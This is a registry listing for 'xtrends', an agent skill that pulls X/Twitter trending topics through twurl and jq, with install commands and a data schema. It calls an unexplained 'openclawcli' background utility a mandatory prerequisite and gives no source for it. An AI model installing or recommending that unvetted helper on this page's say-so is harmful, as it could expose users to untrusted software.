A professional CLI-driven skill for fetching, filtering, and analyzing real-time trending topics and hashtags on X (Twitter).
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install xtrends
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install xtrends using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is x-trends?
The x-trends skill is a robust data retrieval tool designed for the Openclaw Skills ecosystem that allows AI agents and developers to monitor the pulse of social media. By leveraging the official twurl CLI and the openclawcli utility, it provides a direct interface to X (Twitter) API v1.1 and v2, enabling programmatic access to trending topics, tweet volumes, and hashtag analysis.
This skill is particularly valuable for users who need to track viral content across different geographical regions or perform deep-dives into specific hashtags. It bridges the gap between raw social data and actionable insights by providing structured JSON outputs that are easily parsed for further automation or reporting.
x-trends Use Cases
- Tracking viral hashtags for real-time digital marketing and trend-jacking.
- Monitoring regional discourse by fetching trends based on specific WOEID locations.
- Researching emerging global events through tweet volume analysis.
- Filtering trend-related tweets to find high-authority content from verified accounts.
- Identifying local trends based on GPS coordinates for hyper-local reporting.
How x-trends Works
- The user launches the openclawcli background utility, which is a mandatory requirement for this skill to function.
- API authentication is handled via twurl, storing the necessary X/Twitter developer credentials.
- The skill sends requests to the X API trends/place.json endpoint using specific location IDs (WOEID).
- Data is retrieved and piped through jq for precise filtering of trend names, URLs, and volumes.
- For deeper analysis, the skill utilizes X API v2 to search for recent tweets associated with specific trends.
x-trends Setup
Follow these steps to integrate this tool into your Openclaw Skills environment:
- Prerequisite: Ensure openclawcli is installed and running on your system (Windows or macOS).
- Install twurl CLI:
gem install twurl
- Authorize with X API:
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET
- Verify connection by fetching worldwide trends:
twurl "/1.1/trends/place.json?id=1" | jq '.[0].trends[:10]'
x-trends Data Schema & Taxonomy
The x-trends skill organizes its output into a structured format compatible with modern data pipelines. The primary data points include:
| Property | Type | Description |
|---|---|---|
| name | String | The name of the trending topic or hashtag |
| url | String | The search URL for the trend on X |
| tweet_volume | Integer | The number of tweets for the trend (if available) |
| promoted_content | Boolean | Indicates if the trend is a paid promotion |
| woeid | Integer | The Where On Earth ID used to identify the location |
x-trends Advanced Features
- Geographic Precision: Find the closest trending location by providing latitude and longitude coordinates.
- Filtered Recent Search: Execute v2 API searches on trends with filters for media-only tweets or verified-only authors.
- Custom WOEID Support: Access trends from a comprehensive list of global locations beyond just major countries.
- Piped Data Analysis: Designed to work seamlessly with jq for advanced JSON transformation and multi-agent workflows within Openclaw Skills.
- High-Resolution Updates: Access trend data that refreshes approximately every five minutes for true real-time monitoring.
SKILL.md
Loading
Related Openclaw Skills
X Trends (x-trends)
A powerful CLI-driven skill for searching, filtering, and analyzing trending topics on X (Twitter) across global and local markets.
Telegram Bot Manager
A comprehensive tool for building, configuring, and managing Telegram bots using the official Bot API.
Polymarket Trading Skill
A comprehensive toolset for analyzing, tracking, and automating trades on the Polymarket decentralized prediction platform.
Multiposting
A unified automation tool for simultaneous content distribution across 10 major social media platforms.
Yahoo Finance
A powerful financial data integration for retrieving real-time stock prices, historical market trends, and detailed company analytics.
YouTube Video Summarizer
A powerful utility to programmatically extract, clean, and prepare YouTube transcripts for AI-driven summarization and content analysis.
METADATA
Featured*
